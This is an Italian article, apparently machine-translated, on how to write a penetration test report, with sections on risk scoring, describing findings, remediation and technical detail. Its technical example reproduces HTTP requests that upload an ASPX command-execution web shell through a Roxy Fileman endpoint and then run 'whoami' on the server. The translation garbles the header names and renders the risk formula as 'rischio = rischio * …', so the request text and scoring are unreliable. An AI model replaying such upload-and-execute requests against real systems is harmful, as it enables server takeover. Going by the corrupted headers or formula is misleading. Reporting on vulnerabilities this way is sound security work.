Che aspetto dovrebbe avere un buon rapporto sui test di penetrazione?

Un pentester esperto, sa che un rapporto ben scritto è caratterizzato dal fatto che dopo la sua presentazione il cliente non ha ulteriori domande. Per fare ciò, dovrebbe contenere almeno quattro sezioni di base con informazioni per un pubblico diverso.

Sezione 1: Informazioni e statistiche generali

Mentre un programmatore per correggere i bug potrebbe aver bisogno di tutti i dettagli tecnici, la direzione potrebbe non comprendere le tecnologie utilizzate e il vocabolario specializzato. Invece, devono capire il rischio aziendale. È necessario che i dirigenti d'azienda comprendano la posta in gioco per prendere decisioni informate per le loro imprese. Un riepilogo accessibile delle informazioni contenute nell'intera relazione è necessario per garantire una corretta comprensione dei rischi che inducono. Inoltre, la prima sezione dovrebbe contenere informazioni formali, cioè informazioni su ciò che è stato testato e con quali autorizzazioni, al momento della prova, chi ha partecipato alle prove, di cui sono state effettuate le prove. La figura seguente mostra le tabelle di esempio con queste informazioni.

La comunicazione visiva può anche essere utile per trasmettere chiaramente gli errori di sicurezza rilevati. Usa tutti i tipi di grafici ed elementi grafici simili per visualizzare i dati di massa.

Nel valutare i rischi, si dovrebbe seguire quanto segue:

rischio = rischio * probabilità di occorrenza * impatto sulle imprese.

Quando un pericolo è il rischio generale associato a una particolare vulnerabilità. La probabilità di occorrenza significa quanto sia difficile sfruttare un errore di sicurezza. L'impatto sull'azienda determina le perdite associate all'utilizzo dell'errore da parte dell'utente malintenzionato. Nell'immagine seguente viene fornito un elemento utile per valutare il rischio di dati di vulnerabilità. Ad esempio, se la minaccia è alta e la vulnerabilità è molto facile da sfruttare ( vulnerabilità ) – C e l'impatto è nella media – Media, otteniamo un totale di 24 punti, il che significa che la vulnerabilità ha un rischio medio. Un'altra figura mostra come visualizzare la quantità di vulnerabilità rilevate.

In base alla valutazione del rischio, il destinatario del report deve prima correggere gli errori più critici. Rappresentano la più grande minaccia per le imprese e possono comportare elevate perdite finanziarie.

Sezione 2: Descrizione delle vulnerabilità rilevate

La maggior parte dei report dei test di penetrazione utilizza un qualche tipo di sistema di valutazione del rischio, ma è raro prendersi il tempo necessario per spiegare quali sono i rischi associati a una determinata vulnerabilità. Il cliente deve prendere decisioni rapide e accurate su quali misure adottare dopo essere stato informato degli errori di sicurezza esistenti. Ciò comporta spesso la necessità di un bilancio aggiuntivo, che richiede l'approvazione di funzionari non tecnici di alto livello.

Per semplificare le decisioni difficili, descrivi le vulnerabilità rilevate in modo da mostrarne l'impatto sulla tua azienda. Ad esempio, se viene rilevata una vulnerabilità critica che potrebbe consentire il trasferimento di file al portale sanitario, esistono due modi per segnalarla:

• Tecnicamente accurato: l'applicazione Web di X non limita il trasferimento di file per tipo, creando una vulnerabilità che potrebbe consentire a un utente malintenzionato di eseguire codice in remoto ed elevare i privilegi dell'applicazione.
• Sia accurato che contestuale – L'applicazione Web di X non limita il trasferimento di file per tipo di file, creando una vulnerabilità che potrebbe consentire a un utente malintenzionato di eseguire in remoto codice indesiderato ed elevare i suoi privilegi nell'applicazione. In questo caso, un utente malintenzionato potrebbe visualizzare le cartelle cliniche di qualsiasi utente e fungere da amministratore nell'applicazione.

Il secondo modo ha più peso, indicando non solo gli aspetti tecnici, ma anche l'impatto sul business. I rapporti più preziosi sono quelli che si appellano a tutti i destinatari in un linguaggio che le persone, specialmente nelle posizioni di leadership, comprendono.

Sezione 3: Raccomandazioni di riparazione

Una delle cose più importanti da cui dipende il cliente che commissiona i test di penetrazione è la successiva riparazione delle vulnerabilità di sicurezza rilevate. Per renderlo possibile, il penetration tester dovrebbe indicare, oltre a descrivere le vulnerabilità rilevate, come riparare o miticare i rischi associati agli errori rilevati. Questa sezione è destinata principalmente alle persone con formazione tecnica che si occupano direttamente del codice dell'applicazione, della configurazione del server o del database. È utile aggiungere collegamenti aggiuntivi a origini esterne che descrivono come correggere gli errori di sicurezza rilevati. Nella figura seguente viene visualizzato un errore durante la visualizzazione di informazioni riservate dettagliate. Questi dati spesso includono informazioni tecniche, classi, metodi che hanno causato l'errore, la versione esatta del server o i percorsi di sistema delle applicazioni e dei file di configurazione.

Di seguito è riportata una raccomandazione di esempio per un errore che visualizza informazioni dettagliate sugli errori.

Sezione 4: Dettagli tecnici delle vulnerabilità

L'ultima sezione deve contenere dettagli tecnici sulle vulnerabilità rilevate. È particolarmente utile per gli sviluppatori capire cos'è un bug e come ricostruire i passaggi necessari per eseguonorlo. Ciò è particolarmente utile se è necessario individuare l'origine del problema e successivamente verificare che il metodo di riparazione sia efficace.

Di seguito è riportata una descrizione tecnica dettagliata della vulnerabilità del caricamento di qualsiasi file nel server.

Sul server di server/Content/Roxy_Fileman/ è presente un visualizzatore di file che consente agli utenti connessi con le autorizzazioni appropriate (account amministratore testato) di caricarli (inclusi gli script che eseguono comandi sul sistema):

Richiedere con il caricamento sul server uno script che esegue comandi nel sistema:

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accetta: testo/html,applicazione/xhtml+xml,applicazione/xml;q=0,9,*/*;q=0,8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,
sgonfia autore: http://XXXXX/Content/Roxy_Fileman/
cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2
Connessione:
chiudi cache-controllo: max-age=0
Tipo di contenuto: multipart/form-data; boundary=---------------------------13949612691104534433104770617
Content-Length: 1861
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="action"
upload -----------------------------13949612691104534433104770617

Content-Disposition: form-data; name="d" -----------------------------13949612691104534433104770617

Content-Disposition: form-data; name="files[]"; filename="cmdasp.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>


Risposta del server con una risposta di caricamento script riuscita:

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
HTTP/1.1 200 OK
Cache-Control:
Content-Type privato: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNetMvc-Version: 5.1
X-AspNet-Version: 4.0.30319
Set-Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; expires=Fri, 09-Nov-2018 16:53:07 GMT; path=/; HttpOnly
X-Powered-By: ASP.NET
Data: giovedì 09 novembre 2017 16:53:07 GMT
Connessione: chiudi
lunghezza contenuto: 60



È possibile accedere alla risorsa caricata senza autorizzazione sul server/supporto/caricato/nome file

Richiesta al server con comando da eseguire: whoami visualizza l'utente di sistema corrente:

POST /media/uploaded/cmdasp.aspx HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accetta: testo/html,applicazione/xhtml+xml,applicazione/xml;q=0,9,*/*;q=0,8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,
sgonfia autore: http://XXXXX/media/uploaded/cmdasp.aspx
cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69;
XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D
Connessione:
chiudi Content-Type: application/x-www-form-urlencoded
Content-Length: 290
[...]
EVENTVALIDATION=%2FwEdAANRWJmrTmf23QBZNDbQYsx5itssAmaVIY7AayhB9duwcnk2J
DuMxrvKtMBUSvskgfELw WmgNGW8Lr4a8NezI%2FkHrIsB
%2FLodYxPpo9ud%2FbHu4w%3D%3D&txtArg=whoami&testing=excute

Risposta del server che conferma l'esecuzione del comando:

Il meccanismo per caricare i file è identificato ai seguenti indirizzi:

• /Admin/Fattura/FatturaModifica
• /Admin/Fattura/ElencoItem Fattura
• /Admin/Newsletter/GroupSubscriptionsList
• /Admin/Newsletter/Elenco abbonamenti
• /Content/Roxy_Fileman/index.html

Gli errori di sicurezza non verranno mai completamente eliminati. Appaiono sia nei prodotti Microsoft, nonostante l'implementazione del processo security development lifecycle (che include vari test di sicurezza e audit del codice sorgente), sia nel kernel Linux.Possono essere trovati sia nei progetti open source che in quelli in cui il codice è chiuso. Un punto importante è che la mancanza di rilevamento della suscettibilità durante l'esecuzione di test di penetrazione non è sinonimo del fatto che non ci sono. Ciò significa solo che in un tempo limitato e utilizzando determinati mezzi, conoscenze ed esperienze, il pentester non è stato in grado di trovarli. Tuttavia, esaminando i risultati delle prove di penetrazione, si possono trarre conclusioni sulla qualità dell'applicazione o, cosa più importante in caso di errori rilevati, scoprire quali rischi comportano.